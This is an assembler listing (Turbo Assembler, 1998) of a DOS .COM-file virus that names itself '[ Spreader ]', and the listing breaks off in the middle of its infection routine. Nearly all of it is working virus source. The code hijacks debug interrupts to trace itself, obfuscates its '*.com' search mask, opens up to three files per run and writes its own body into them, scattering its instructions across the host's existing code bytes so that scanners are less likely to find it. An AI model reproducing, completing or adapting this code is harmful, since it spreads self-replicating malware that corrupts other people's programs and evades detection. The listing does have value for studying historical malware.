Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 1 main.asm 1 ; To compile: tasm main.asm 2 ; tlink main.obj /t 3 0000 .model tiny 4 .386 5 0000 .code 6 .startup 1 7 0100 @Startup: 8 org 100h 9 =0003 inf_max equ 3 ; files to infect each time 10 include macro.inc 1 11 = word ptr wptr equ word ptr 1 12 = byte ptr bptr equ byte ptr 1 13 ofs equ offset 1 14 = 13,10,'$' eol equ 13,10,'$' 1 15 =029D vs equ dataend-s ; virus size w/o code.inc & host.inc 1 16 1 17 prnchr macro chr ; print a char 1 18 push ax dx 1 19 mov ah,2 1 20 mov dl,chr 1 21 int 21h 1 22 pop dx ax 1 23 endm 1 24 1 25 prnstr macro msg ; print an ASCII string 1 26 push ax dx 1 27 push ds 1 28 push cs 1 29 pop ds 1 30 mov ah,9 1 31 lea dx,msg 1 32 int 21h 1 33 pop ds 1 34 pop dx ax 1 35 endm 1 36 1 37 prnaz macro _ofs ; print an ASCIIZ string 1 38 local @0, @1 ; in ds:dx or ds:_ofs if defined 1 39 cld 1 40 push ax si 1 41 IFB <_ofs> 1 42 mov si,dx 1 43 ELSE 1 44 mov si,_ofs 1 45 ENDIF 1 46 @0: 1 47 lodsb 1 48 test al,al 1 49 jz short @1 1 50 int 29h 1 51 jmp short @0 1 52 @1: 1 53 pop si ax 1 54 endm 1 55 1 56 sleep macro 1 57 push ax Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 2 main.asm 1 58 xor ax,ax 1 59 int 16h 1 60 pop ax 1 61 endm 1 62 1 63 1 64 ; the following macros - for making cmdlist 1 65 1 66 i macro x1,x2 1 67 dw x1 1 68 db x2-x1 1 69 endm 1 70 1 71 =0001 mcnt1 = 1 1 72 =0002 mcnt2 = 2 1 73 icmd macro cnt1, cnt2 1 74 dw @m&cnt1 1 75 db @m&cnt2 - @m&cnt1 1 76 endm 1 77 1 78 cmd macro cnt 1 79 rept cnt 1 80 icmd %mcnt1, %mcnt2 1 81 mcnt1 = mcnt1 + 1 1 82 mcnt2 = mcnt2 + 1 1 83 endm 1 84 endm 1 85 1 86 87 0100 s: 88 0100 9C pushf ; 89 0101 60 pusha ; save all regs & flags 90 0102 06 1E push es ds ; 91 0104 33 C0 xor ax,ax 92 0106 8E D8 mov ds,ax 93 0108 BB 0004 mov bx,1*4 ; 94 010B FF 37 push wptr [bx] ; save vector int1 95 010D FF 77 02 push wptr [bx+2] 96 0110 0E push cs 97 0111 8F 47 02 pop wptr [bx+2] ; intercept int1 98 0114 C7 07 017Fr mov wptr [bx],ofs MyInt1 99 0118 BB 000C mov bx,3*4 100 011B FF 37 push wptr [bx] ; 101 011D FF 77 02 push wptr [bx+2] ; save vector int3 102 0120 0E push cs 103 0121 8F 47 02 pop wptr [bx+2] ; intercept int3 104 0124 C7 07 01FDr mov wptr [bx],ofs MyInt3 105 0128 0E push cs 106 0129 1F pop ds 107 012A 9C pushf 108 012B 58 pop ax 109 012C 0D 0100 or ax,0100h ; TF=1 110 012F 50 push ax 111 0130 0E push cs 112 0131 BD 023Er lea bp,cmdlist ; command list begin 113 0134 FF 76 00 push wptr [bp] ; offset 1st cmd/block 114 0137 8B 46 02 mov ax,wptr [bp+2] Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 3 main.asm 115 013A 32 E4 xor ah,ah 116 013C 03 46 00 add ax,wptr [bp] 117 013F 2E: A3 021Er mov cs:[_last],ax ; _last = offset after cmd/block 118 0143 CF iret ; let's trace code.inc 119 0144 sign: 120 0144 restore: 121 0144 0E push cs 122 0145 1F pop ds 123 0146 BE 0176r lea si,_rest ; small sub for restore host 124 0149 33 C9 xor cx,cx 125 014B 8E C1 mov es,cx 126 014D BB 000C mov bx,3*4 127 0150 26: 8F 47 02 pop wptr es:[bx+2] ; restore int3 128 0154 26: 8F 07 pop wptr es:[bx] 129 0157 B3 04 mov bl,1*4 130 0159 26: 8F 47 02 pop wptr es:[bx+2] ; restore int1 131 015D 26: 8F 07 pop wptr es:[bx] 132 0160 BF 04F0 mov di,4F0h 133 0163 B1 09 mov cl,_rest1-_rest 134 0165 06 push es 135 0166 57 push di 136 0167 F3> A4 rep movsb ; move small sub to 0:4F0h 137 0169 0E push cs 138 016A 07 pop es 139 016B 8B 36 0229r mov si,[oentry] ; where old begin of host 140 016F BF 0100 mov di,100h ; original place 141 0172 B9 029D mov cx,vs ; virus size 142 0175 CB retf ; equ jmp _rest 143 0176 F3> A4 _rest: rep movsb 144 0178 1F 07 pop ds es 145 017A 61 popa 146 017B 9D popf 147 017C 1E push ds 148 017D 56 push si 149 017E CB retf ; equ jmp cs:100h 150 017F _rest1: 151 152 include int.inc ; MyInt1 & MyInt3 1 153 017F MyInt1 proc near 1 154 017F 0B ED or bp,bp 1 155 0181 74 6E jz short stop ; bp=0 => end of trace 1 156 0183 55 push bp 1 157 0184 8B EC mov bp,sp 1 158 0186 8B 6E 02 mov bp,[bp+2] ; bp = ip of next cmd 1 159 0189 2E: 3B 2E 021Er cmp bp,cs:[_last] 1 160 018E 74 1C je short tracen ; if it was a 'cmd' -> tracen 1 161 ; else goto after block 1 162 0190 8B EC mov bp,sp 1 163 0192 81 66 06 FEFF and wptr [bp+6],0FEFFh ; TF=0 1 164 0197 53 push bx 1 165 0198 2E: 8B 1E 021Er mov bx,cs:[_last] 1 166 019D 2E: FF 37 push wptr cs:[bx] ; save word after block 1 167 01A0 2E: 8F 06 021Cr pop cs:[_savew] 1 168 01A5 2E: C6 07 CC mov bptr cs:[bx],0CCh ; put int3 in this place 1 169 01A9 5B pop bx 1 170 01AA 5D pop bp 1 171 01AB CF iret ; run til int3 Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 4 main.asm 1 172 01AC tracen: 1 173 01AC 5D pop bp 1 174 01AD 45 inc bp 1 175 01AE 45 inc bp 1 176 01AF 45 inc bp 1 177 01B0 55 push bp ; bp = ofs next cmd/block in table 1 178 01B1 50 push ax 1 179 01B2 8B 46 02 mov ax,wptr [bp+2] 1 180 01B5 32 E4 xor ah,ah 1 181 01B7 03 46 00 add ax,wptr [bp] 1 182 01BA 2E: A3 021Er mov cs:[_last],ax ; ax = ofs after cmd/block 1 183 01BE 8B 6E 00 mov bp,wptr [bp] 1 184 01C1 80 7E 00 CD cmp bptr [bp],0CDh ; is a next cmd a int?? 1 185 01C5 75 22 jne short not_int 1 186 ; yes - let's emul it 1 187 01C7 8B 46 00 mov ax,wptr [bp] 1 188 01CA 2E: A3 01D1r mov cs:[emuint],ax ; emuint = cd?? 1 189 01CE EB 00 jmp short $+2 ; are all of u have a pentium ;) 1 190 01D0 58 pop ax ; function need for int?? 1 191 01D1 0000 emuint dw 0 1 192 01D3 8B EC mov bp,sp 1 193 01D5 50 push ax 1 194 01D6 9C pushf 1 195 01D7 58 pop ax 1 196 01D8 0D 0100 or ax,100h ; TF=1 1 197 01DB 89 46 06 mov [bp+6],ax 1 198 01DE 58 pop ax 1 199 01DF 5D pop bp 1 200 01E0 44 inc sp 1 201 01E1 44 inc sp 1 202 01E2 2E: FF 36 021Er push cs:[_last] 1 203 01E7 EB 96 jmp short MyInt1 1 204 1 205 01E9 not_int: 1 206 01E9 58 pop ax 1 207 01EA 5D pop bp 1 208 01EB 44 inc sp 1 209 01EC 44 inc sp 1 210 01ED FF 76 00 push word ptr [bp] ; next cmd (offset get from the table) 1 211 01F0 CF iret 1 212 1 213 01F1 58 stop: pop ax ; all traced 1 214 01F2 58 pop ax 1 215 01F3 58 pop ax 1 216 01F4 25 FEFF and ax,0FEFFh ; TF=0 1 217 01F7 50 push ax 1 218 01F8 0E push cs 1 219 01F9 68 0144r push offset restore ; need to restore host 1 220 01FC CF iret 1 221 01FD MyInt1 endp 1 222 1 223 01FD MyInt3 proc near 1 224 01FD 55 push bp 1 225 01FE 8B EC mov bp,sp 1 226 0200 53 50 push bx ax 1 227 0202 2E: 8B 1E 021Er mov bx,cs:[_last] 1 228 0207 2E: A1 021Cr mov ax,cs:[_savew] ; restore word where was int3 Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 5 main.asm 1 229 020B 2E: 89 07 mov wptr cs:[bx],ax 1 230 020E 81 4E 06 0100 or wptr [bp+6],100h ; TF=1 1 231 0213 89 5E 02 mov wptr [bp+2],bx 1 232 0216 58 5B pop ax bx 1 233 0218 5D pop bp 1 234 0219 E9 FF63 jmp MyInt1 1 235 021C MyInt3 endp 1 236 237 include data.inc 1 238 021C ???? _savew dw ? ; used when set int3 after block 1 239 021E ???? _last dw ? ; ofs after cmd/block 1 240 0220 ???? segbuf dw ? ; seg for buffer 1 241 0222 ???? fsize dw ? ; file size 1 242 0224 ???? handle dw ? ; file handle 1 243 0226 ???? tab_index dw ? ; current position in table 1 244 0228 ?? inf_q db ? ; infections count 1 245 0229 053Br oentry dw ofs endvir ; offset old begin of host 1 246 022B 5F63 msk dw '.*'+'19' ; 1 247 022D A89B dw 'oc'+'98' ; file mask 1 248 022F 006D dw 'm' ; 1 249 0231 5B 20 53 70 72 65 61+ vname db '[ Spreader ]',0 250 64 65 72 20 5D 00 1 251 252 include cmdlist.inc ; , 1 253 023E cmdlist: ; , 1 254 023E @mem: 1 255 cmd 15 3 256 icmd %mcnt1, %mcnt2 4 257 023E 039Dr dw @m1 4 258 0240 01 db @m2 - @m1 3 259 icmd %mcnt1, %mcnt2 4 260 0241 039Er dw @m2 4 261 0243 02 db @m3 - @m2 3 262 icmd %mcnt1, %mcnt2 4 263 0244 03A0r dw @m3 4 264 0246 03 db @m4 - @m3 3 265 icmd %mcnt1, %mcnt2 4 266 0247 03A3r dw @m4 4 267 0249 02 db @m5 - @m4 3 268 icmd %mcnt1, %mcnt2 4 269 024A 03A5r dw @m5 4 270 024C 05 db @m6 - @m5 3 271 icmd %mcnt1, %mcnt2 4 272 024D 03AAr dw @m6 4 273 024F 02 db @m7 - @m6 3 274 icmd %mcnt1, %mcnt2 4 275 0250 03ACr dw @m7 4 276 0252 02 db @m8 - @m7 3 277 icmd %mcnt1, %mcnt2 4 278 0253 03AEr dw @m8 4 279 0255 02 db @m9 - @m8 3 280 icmd %mcnt1, %mcnt2 4 281 0256 03B0r dw @m9 4 282 0258 02 db @m10 - @m9 3 283 icmd %mcnt1, %mcnt2 4 284 0259 03B2r dw @m10 4 285 025B 01 db @m11 - @m10 Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 6 main.asm 3 286 icmd %mcnt1, %mcnt2 4 287 025C 03B3r dw @m11 4 288 025E 02 db @m12 - @m11 3 289 icmd %mcnt1, %mcnt2 4 290 025F 03B5r dw @m12 4 291 0261 04 db @m13 - @m12 3 292 icmd %mcnt1, %mcnt2 4 293 0262 03B9r dw @m13 4 294 0264 02 db @m14 - @m13 3 295 icmd %mcnt1, %mcnt2 4 296 0265 03BBr dw @m14 4 297 0267 02 db @m15 - @m14 3 298 icmd %mcnt1, %mcnt2 4 299 0268 03BDr dw @m15 4 300 026A 03 db @m16 - @m15 1 301 026B @mem_ok: 1 302 cmd 19 3 303 icmd %mcnt1, %mcnt2 4 304 026B 03C0r dw @m16 4 305 026D 01 db @m17 - @m16 3 306 icmd %mcnt1, %mcnt2 4 307 026E 03C1r dw @m17 4 308 0270 06 db @m18 - @m17 3 309 icmd %mcnt1, %mcnt2 4 310 0271 03C7r dw @m18 4 311 0273 03 db @m19 - @m18 3 312 icmd %mcnt1, %mcnt2 4 313 0274 03CAr dw @m19 4 314 0276 02 db @m20 - @m19 3 315 icmd %mcnt1, %mcnt2 4 316 0277 03CCr dw @m20 4 317 0279 11 db @m21 - @m20 3 318 icmd %mcnt1, %mcnt2 4 319 027A 03DDr dw @m21 4 320 027C 03 db @m22 - @m21 3 321 icmd %mcnt1, %mcnt2 4 322 027D 03E0r dw @m22 4 323 027F 01 db @m23 - @m22 3 324 icmd %mcnt1, %mcnt2 4 325 0280 03E1r dw @m23 4 326 0282 01 db @m24 - @m23 3 327 icmd %mcnt1, %mcnt2 4 328 0283 03E2r dw @m24 4 329 0285 01 db @m25 - @m24 3 330 icmd %mcnt1, %mcnt2 4 331 0286 03E3r dw @m25 4 332 0288 01 db @m26 - @m25 3 333 icmd %mcnt1, %mcnt2 4 334 0289 03E4r dw @m26 4 335 028B 02 db @m27 - @m26 3 336 icmd %mcnt1, %mcnt2 4 337 028C 03E6r dw @m27 4 338 028E 02 db @m28 - @m27 3 339 icmd %mcnt1, %mcnt2 4 340 028F 03E8r dw @m28 4 341 0291 02 db @m29 - @m28 3 342 icmd %mcnt1, %mcnt2 Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 7 main.asm 4 343 0292 03EAr dw @m29 4 344 0294 02 db @m30 - @m29 3 345 icmd %mcnt1, %mcnt2 4 346 0295 03ECr dw @m30 4 347 0297 02 db @m31 - @m30 3 348 icmd %mcnt1, %mcnt2 4 349 0298 03EEr dw @m31 4 350 029A 03 db @m32 - @m31 3 351 icmd %mcnt1, %mcnt2 4 352 029B 03F1r dw @m32 4 353 029D 01 db @m33 - @m32 3 354 icmd %mcnt1, %mcnt2 4 355 029E 03F2r dw @m33 4 356 02A0 02 db @m34 - @m33 3 357 icmd %mcnt1, %mcnt2 4 358 02A1 03F4r dw @m34 4 359 02A3 13 db @m35 - @m34 1 360 02A4 @findnext: 1 361 cmd 61 3 362 icmd %mcnt1, %mcnt2 4 363 02A4 0407r dw @m35 4 364 02A6 01 db @m36 - @m35 3 365 icmd %mcnt1, %mcnt2 4 366 02A7 0408r dw @m36 4 367 02A9 05 db @m37 - @m36 3 368 icmd %mcnt1, %mcnt2 4 369 02AA 040Dr dw @m37 4 370 02AC 02 db @m38 - @m37 3 371 icmd %mcnt1, %mcnt2 4 372 02AD 040Fr dw @m38 4 373 02AF 03 db @m39 - @m38 3 374 icmd %mcnt1, %mcnt2 4 375 02B0 0412r dw @m39 4 376 02B2 02 db @m40 - @m39 3 377 icmd %mcnt1, %mcnt2 4 378 02B3 0414r dw @m40 4 379 02B5 05 db @m41 - @m40 3 380 icmd %mcnt1, %mcnt2 4 381 02B6 0419r dw @m41 4 382 02B8 03 db @m42 - @m41 3 383 icmd %mcnt1, %mcnt2 4 384 02B9 041Cr dw @m42 4 385 02BB 03 db @m43 - @m42 3 386 icmd %mcnt1, %mcnt2 4 387 02BC 041Fr dw @m43 4 388 02BE 02 db @m44 - @m43 3 389 icmd %mcnt1, %mcnt2 4 390 02BF 0421r dw @m44 4 391 02C1 05 db @m45 - @m44 3 392 icmd %mcnt1, %mcnt2 4 393 02C2 0426r dw @m45 4 394 02C4 04 db @m46 - @m45 3 395 icmd %mcnt1, %mcnt2 4 396 02C5 042Ar dw @m46 4 397 02C7 01 db @m47 - @m46 3 398 icmd %mcnt1, %mcnt2 4 399 02C8 042Br dw @m47 Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 8 main.asm 4 400 02CA 02 db @m48 - @m47 3 401 icmd %mcnt1, %mcnt2 4 402 02CB 042Dr dw @m48 4 403 02CD 03 db @m49 - @m48 3 404 icmd %mcnt1, %mcnt2 4 405 02CE 0430r dw @m49 4 406 02D0 03 db @m50 - @m49 3 407 icmd %mcnt1, %mcnt2 4 408 02D1 0433r dw @m50 4 409 02D3 02 db @m51 - @m50 3 410 icmd %mcnt1, %mcnt2 4 411 02D4 0435r dw @m51 4 412 02D6 04 db @m52 - @m51 3 413 icmd %mcnt1, %mcnt2 4 414 02D7 0439r dw @m52 4 415 02D9 0D db @m53 - @m52 3 416 icmd %mcnt1, %mcnt2 4 417 02DA 0446r dw @m53 4 418 02DC 01 db @m54 - @m53 3 419 icmd %mcnt1, %mcnt2 4 420 02DD 0447r dw @m54 4 421 02DF 01 db @m55 - @m54 3 422 icmd %mcnt1, %mcnt2 4 423 02E0 0448r dw @m55 4 424 02E2 01 db @m56 - @m55 3 425 icmd %mcnt1, %mcnt2 4 426 02E3 0449r dw @m56 4 427 02E5 01 db @m57 - @m56 3 428 icmd %mcnt1, %mcnt2 4 429 02E6 044Ar dw @m57 4 430 02E8 03 db @m58 - @m57 3 431 icmd %mcnt1, %mcnt2 4 432 02E9 044Dr dw @m58 4 433 02EB 01 db @m59 - @m58 3 434 icmd %mcnt1, %mcnt2 4 435 02EC 044Er dw @m59 4 436 02EE 02 db @m60 - @m59 3 437 icmd %mcnt1, %mcnt2 4 438 02EF 0450r dw @m60 4 439 02F1 03 db @m61 - @m60 3 440 icmd %mcnt1, %mcnt2 4 441 02F2 0453r dw @m61 4 442 02F4 02 db @m62 - @m61 3 443 icmd %mcnt1, %mcnt2 4 444 02F5 0455r dw @m62 4 445 02F7 01 db @m63 - @m62 3 446 icmd %mcnt1, %mcnt2 4 447 02F8 0456r dw @m63 4 448 02FA 05 db @m64 - @m63 3 449 icmd %mcnt1, %mcnt2 4 450 02FB 045Br dw @m64 4 451 02FD 02 db @m65 - @m64 3 452 icmd %mcnt1, %mcnt2 4 453 02FE 045Dr dw @m65 4 454 0300 03 db @m66 - @m65 3 455 icmd %mcnt1, %mcnt2 4 456 0301 0460r dw @m66 Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 9 main.asm 4 457 0303 02 db @m67 - @m66 3 458 icmd %mcnt1, %mcnt2 4 459 0304 0462r dw @m67 4 460 0306 03 db @m68 - @m67 3 461 icmd %mcnt1, %mcnt2 4 462 0307 0465r dw @m68 4 463 0309 67 db @m69 - @m68 3 464 icmd %mcnt1, %mcnt2 4 465 030A 04CCr dw @m69 4 466 030C 01 db @m70 - @m69 3 467 icmd %mcnt1, %mcnt2 4 468 030D 04CDr dw @m70 4 469 030F 04 db @m71 - @m70 3 470 icmd %mcnt1, %mcnt2 4 471 0310 04D1r dw @m71 4 472 0312 01 db @m72 - @m71 3 473 icmd %mcnt1, %mcnt2 4 474 0313 04D2r dw @m72 4 475 0315 03 db @m73 - @m72 3 476 icmd %mcnt1, %mcnt2 4 477 0316 04D5r dw @m73 4 478 0318 03 db @m74 - @m73 3 479 icmd %mcnt1, %mcnt2 4 480 0319 04D8r dw @m74 4 481 031B 02 db @m75 - @m74 3 482 icmd %mcnt1, %mcnt2 4 483 031C 04DAr dw @m75 4 484 031E 04 db @m76 - @m75 3 485 icmd %mcnt1, %mcnt2 4 486 031F 04DEr dw @m76 4 487 0321 03 db @m77 - @m76 3 488 icmd %mcnt1, %mcnt2 4 489 0322 04E1r dw @m77 4 490 0324 04 db @m78 - @m77 3 491 icmd %mcnt1, %mcnt2 4 492 0325 04E5r dw @m78 4 493 0327 01 db @m79 - @m78 3 494 icmd %mcnt1, %mcnt2 4 495 0328 04E6r dw @m79 4 496 032A 01 db @m80 - @m79 3 497 icmd %mcnt1, %mcnt2 4 498 032B 04E7r dw @m80 4 499 032D 04 db @m81 - @m80 3 500 icmd %mcnt1, %mcnt2 4 501 032E 04EBr dw @m81 4 502 0330 02 db @m82 - @m81 3 503 icmd %mcnt1, %mcnt2 4 504 0331 04EDr dw @m82 4 505 0333 02 db @m83 - @m82 3 506 icmd %mcnt1, %mcnt2 4 507 0334 04EFr dw @m83 4 508 0336 02 db @m84 - @m83 3 509 icmd %mcnt1, %mcnt2 4 510 0337 04F1r dw @m84 4 511 0339 01 db @m85 - @m84 3 512 icmd %mcnt1, %mcnt2 4 513 033A 04F2r dw @m85 Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 10 main.asm 4 514 033C 03 db @m86 - @m85 3 515 icmd %mcnt1, %mcnt2 4 516 033D 04F5r dw @m86 4 517 033F 01 db @m87 - @m86 3 518 icmd %mcnt1, %mcnt2 4 519 0340 04F6r dw @m87 4 520 0342 02 db @m88 - @m87 3 521 icmd %mcnt1, %mcnt2 4 522 0343 04F8r dw @m88 4 523 0345 02 db @m89 - @m88 3 524 icmd %mcnt1, %mcnt2 4 525 0346 04FAr dw @m89 4 526 0348 02 db @m90 - @m89 3 527 icmd %mcnt1, %mcnt2 4 528 0349 04FCr dw @m90 4 529 034B 01 db @m91 - @m90 3 530 icmd %mcnt1, %mcnt2 4 531 034C 04FDr dw @m91 4 532 034E 03 db @m92 - @m91 3 533 icmd %mcnt1, %mcnt2 4 534 034F 0500r dw @m92 4 535 0351 02 db @m93 - @m92 3 536 icmd %mcnt1, %mcnt2 4 537 0352 0502r dw @m93 4 538 0354 02 db @m94 - @m93 3 539 icmd %mcnt1, %mcnt2 4 540 0355 0504r dw @m94 4 541 0357 01 db @m95 - @m94 3 542 icmd %mcnt1, %mcnt2 4 543 0358 0505r dw @m95 4 544 035A 04 db @m96 - @m95 1 545 035B @close_file: 1 546 cmd 5 3 547 icmd %mcnt1, %mcnt2 4 548 035B 0509r dw @m96 4 549 035D 01 db @m97 - @m96 3 550 icmd %mcnt1, %mcnt2 4 551 035E 050Ar dw @m97 4 552 0360 02 db @m98 - @m97 3 553 icmd %mcnt1, %mcnt2 4 554 0361 050Cr dw @m98 4 555 0363 02 db @m99 - @m98 3 556 icmd %mcnt1, %mcnt2 4 557 0364 050Er dw @m99 4 558 0366 05 db @m100 - @m99 3 559 icmd %mcnt1, %mcnt2 4 560 0367 0513r dw @m100 4 561 0369 05 db @m101 - @m100 1 562 036A @end_infect: 1 563 cmd 17 3 564 icmd %mcnt1, %mcnt2 4 565 036A 0518r dw @m101 4 566 036C 01 db @m102 - @m101 3 567 icmd %mcnt1, %mcnt2 4 568 036D 0519r dw @m102 4 569 036F 04 db @m103 - @m102 3 570 icmd %mcnt1, %mcnt2 Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 11 main.asm 4 571 0370 051Dr dw @m103 4 572 0372 02 db @m104 - @m103 3 573 icmd %mcnt1, %mcnt2 4 574 0373 051Fr dw @m104 4 575 0375 02 db @m105 - @m104 3 576 icmd %mcnt1, %mcnt2 4 577 0376 0521r dw @m105 4 578 0378 01 db @m106 - @m105 3 579 icmd %mcnt1, %mcnt2 4 580 0379 0522r dw @m106 4 581 037B 01 db @m107 - @m106 3 582 icmd %mcnt1, %mcnt2 4 583 037C 0523r dw @m107 4 584 037E 02 db @m108 - @m107 3 585 icmd %mcnt1, %mcnt2 4 586 037F 0525r dw @m108 4 587 0381 02 db @m109 - @m108 3 588 icmd %mcnt1, %mcnt2 4 589 0382 0527r dw @m109 4 590 0384 02 db @m110 - @m109 3 591 icmd %mcnt1, %mcnt2 4 592 0385 0529r dw @m110 4 593 0387 03 db @m111 - @m110 3 594 icmd %mcnt1, %mcnt2 4 595 0388 052Cr dw @m111 4 596 038A 02 db @m112 - @m111 3 597 icmd %mcnt1, %mcnt2 4 598 038B 052Er dw @m112 4 599 038D 02 db @m113 - @m112 3 600 icmd %mcnt1, %mcnt2 4 601 038E 0530r dw @m113 4 602 0390 02 db @m114 - @m113 3 603 icmd %mcnt1, %mcnt2 4 604 0391 0532r dw @m114 4 605 0393 02 db @m115 - @m114 3 606 icmd %mcnt1, %mcnt2 4 607 0394 0534r dw @m115 4 608 0396 03 db @m116 - @m115 3 609 icmd %mcnt1, %mcnt2 4 610 0397 0537r dw @m116 4 611 0399 02 db @m117 - @m116 3 612 icmd %mcnt1, %mcnt2 4 613 039A 0539r dw @m117 4 614 039C 02 db @m118 - @m117 1 615 039D cmdlistend: 616 039D dataend: 617 include code.inc 1 618 039D mem: 1 619 039D 90 @m1: nop 1 620 039E B4 48 @m2: mov ah,48h ; allocate mem for buf 1 621 03A0 BB 1000 @m3: mov bx,1000h 1 622 03A3 CD 21 @m4: int 21h 1 623 03A5 72 03 @m5: jc short mem_not_ok 1 624 03A7 BD 026Br lea bp,@mem_ok 1 625 03AA mem_not_ok: 1 626 03AA B4 49 @m6: mov ah,49h ; free mem 1 627 03AC CD 21 @m7: int 21h Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 12 main.asm 1 628 03AE B4 48 @m8: mov ah,48h ; get free mem size (bx) 1 629 03B0 33 DB @m9: xor bx,bx 1 630 03B2 4B @m10: dec bx 1 631 03B3 CD 21 @m11: int 21h 1 632 03B5 81 EB 1001 @m12: sub bx,1001h ; reserve 1001h x 16 bytes 1 633 03B9 B4 48 @m13: mov ah,48h ; allocate all other mem 1 634 03BB CD 21 @m14: int 21h 1 635 03BD BD 023Er @m15: lea bp,@mem 1 636 03C0 mem_ok: 1 637 03C0 90 @m16: nop 1 638 03C1 2E: C6 06 0228r 00 @m17: mov cs:inf_q,0 ; infect count 1 639 03C7 A3 0220r @m18: mov segbuf,ax ; segbuf = seg for buf 1 640 03CA 8E C0 @m19: mov es,ax ; es = segbuf 1 641 03CC BE 022Br @m20: lea si,msk ; [si] = '*.com',0 1 642 03CF 2E: 81 2E 022Br 3139 sub cs:[msk],'19' 1 643 03D6 2E: 81 2E 022Dr 3938 sub cs:[msk+2],'98' 1 644 03DD BF 007A @m21: mov di,7Ah ; 1 645 03E0 57 @m22: push di 1 646 03E1 A5 @m23: movsw 1 647 03E2 A5 @m24: movsw 1 648 03E3 A5 @m25: movsw 1 649 03E4 8E D8 @m26: mov ds,ax ; ds = segbuf 1 650 03E6 B4 1A @m27: mov ah,1Ah ; set DTA to segbuf:80h 1 651 03E8 8B D7 @m28: mov dx,di 1 652 03EA CD 21 @m29: int 21h 1 653 03EC find1st: 1 654 03EC B4 4E @m30: mov ah,4Eh ; find 1st file 1 655 03EE B9 0020 @m31: mov cx,20h ; attr: archive 1 656 03F1 5A @m32: pop dx ; name = segbuf:7Ah 1 657 03F2 CD 21 @m33: int 21h 1 658 03F4 73 03 @m34: jnc short find1st_ok 1 659 03F6 BD 036Ar lea bp,@end_infect ; err -> end infect 1 660 03F9 find1st_ok: 1 661 03F9 2E: 81 06 022Br 3139 add cs:[msk],'19' 1 662 0400 2E: 81 06 022Dr 3938 add cs:[msk+2],'98' 1 663 0407 findnext: 1 664 0407 90 @m35: nop 1 665 0408 2E: 8E 1E 0220r @m36: mov ds,cs:[segbuf] 1 666 040D B4 4F @m37: mov ah,4Fh 1 667 040F BA 0080 @m38: mov dx,80h 1 668 0412 CD 21 @m39: int 21h 1 669 0414 73 03 @m40: jnc short findnext_ok 1 670 0416 BD 036Ar lea bp,@end_infect 1 671 0419 findnext_ok: 1 672 0419 BA 009E @m41: mov dx,9Eh 1 673 041C B8 3D02 @m42: mov ax,3d02h 1 674 041F CD 21 @m43: int 21h 1 675 0421 73 03 @m44: jnc short open_ok 1 676 0423 BD 02A4r lea bp,@findnext 1 677 0426 open_ok: 1 678 0426 2E: A3 0224r @m45: mov cs:[handle],ax 1 679 042A 93 @m46: xchg ax,bx 1 680 042B B4 3F @m47: mov ah,3Fh 1 681 042D BA 0100 @m48: mov dx,100h 1 682 0430 B9 FFFF @m49: mov cx,0FFFFh 1 683 0433 CD 21 @m50: int 21h 1 684 0435 2E: A3 0222r @m51: mov cs:[fsize],ax Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 13 main.asm 1 685 0439 3D FBC5 @m52: cmp ax,10000h-(endvir-s) 1 686 043C 77 05 ja short bad_file 1 687 043E 3D 043B cmp ax,(endvir-s) 1 688 0441 77 03 ja short good_file 1 689 0443 bad_file: 1 690 0443 BD 035Br lea bp,@close_file 1 691 0446 good_file: 1 692 0446 1E @m53: push ds 1 693 0447 0E @m54: push cs 1 694 0448 1F @m55: pop ds 1 695 0449 07 @m56: pop es 1 696 044A BE 0100 @m57: mov si,100h 1 697 044D 56 @m58: push si 1 698 044E 8B FE @m59: mov di,si 1 699 0450 B9 0044 @m60: mov cx,sign-s 1 700 0453 F3> A6 @m61: repe cmpsb 1 701 0455 5E @m62: pop si 1 702 0456 75 03 @m63: jne short clear_ok 1 703 0458 BD 035Br lea bp,@close_file 1 704 045B clear_ok: 1 705 045B 8B FE @m64: mov di,si 1 706 045D B9 029D @m65: mov cx,vs 1 707 0460 F3> A4 @m66: rep movsb 1 708 0462 BE 023Er @m67: lea si,cmdlist 1 709 0465 infect_by_next: 1 710 0465 @m68: 1 711 0465 2E: 8B 1E 021Er mov bx,cs:[_last] 1 712 046A 2E: A1 021Cr mov ax,cs:[_savew] ; restore word where was int3 1 713 046E 2E: 89 07 mov cs:[bx],ax 1 714 0471 infect_by_next2: 1 715 0471 89 36 0226r mov [tab_index],si ; si = ofs in cmdlist 1 716 0475 AD lodsw 1 717 0476 50 push ax ; ax = ofs cmd 1 718 0477 33 C0 xor ax,ax 1 719 0479 AC lodsb 1 720 047A 8B D0 mov dx,ax ; dx = len cmd 1 721 047C 5E pop si ; si = ofs cmd 1 722 047D BF 039Dr lea di,dataend ; di = ofs after VirMain & Data 1 723 0480 8B 0E 0222r mov cx,[fsize] ; file len 1 724 0484 81 E9 029D sub cx,dataend-s ; cx = cx - (VirMain & Data) 1 725 0488 2B CA sub cx,dx ; cx = cx - cmd.len 1 726 048A 41 inc cx ; cx = cx + 1 ;[?] 1 727 048B find_block: 1 728 048B 90 nop 1 729 048C 8A 04 mov al,byte ptr [si] ; al = 1st byte of cmd 1 730 048E F2> AE repne scasb ; find it in file 1 731 0490 E3 02 jcxz short block_not_found 1 732 0492 EB 0E jmp short chk_equ_block 1 733 0494 block_not_found: 1 734 0494 8B CA mov cx,dx ; cx = cmd.len 1 735 0496 03 FA add di,dx ; di = ofs after end of file ; ??? 1 736 0498 57 push di 1 737 0499 01 0E 0222r add [fsize],cx ; file size = file size + cmd.len 1 738 049D F3> A4 rep movsb 1 739 049F 5F pop di ; di = ofs after end of file 1 740 04A0 EB 10 jmp short end_find_block 1 741 04A2 chk_equ_block: Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 14 main.asm 1 742 04A2 57 push di 1 743 04A3 56 push si 1 744 04A4 51 push cx 1 745 04A5 4F dec di ; di = ofs of may_be_equal cmd 1 746 04A6 8B CA mov cx,dx ; cx = cmd.len 1 747 04A8 F3> A6 repe cmpsb ; 1 748 04AA 8B C1 mov ax,cx ; ax = 0 if it's equal cmd 1 749 04AC 59 pop cx 1 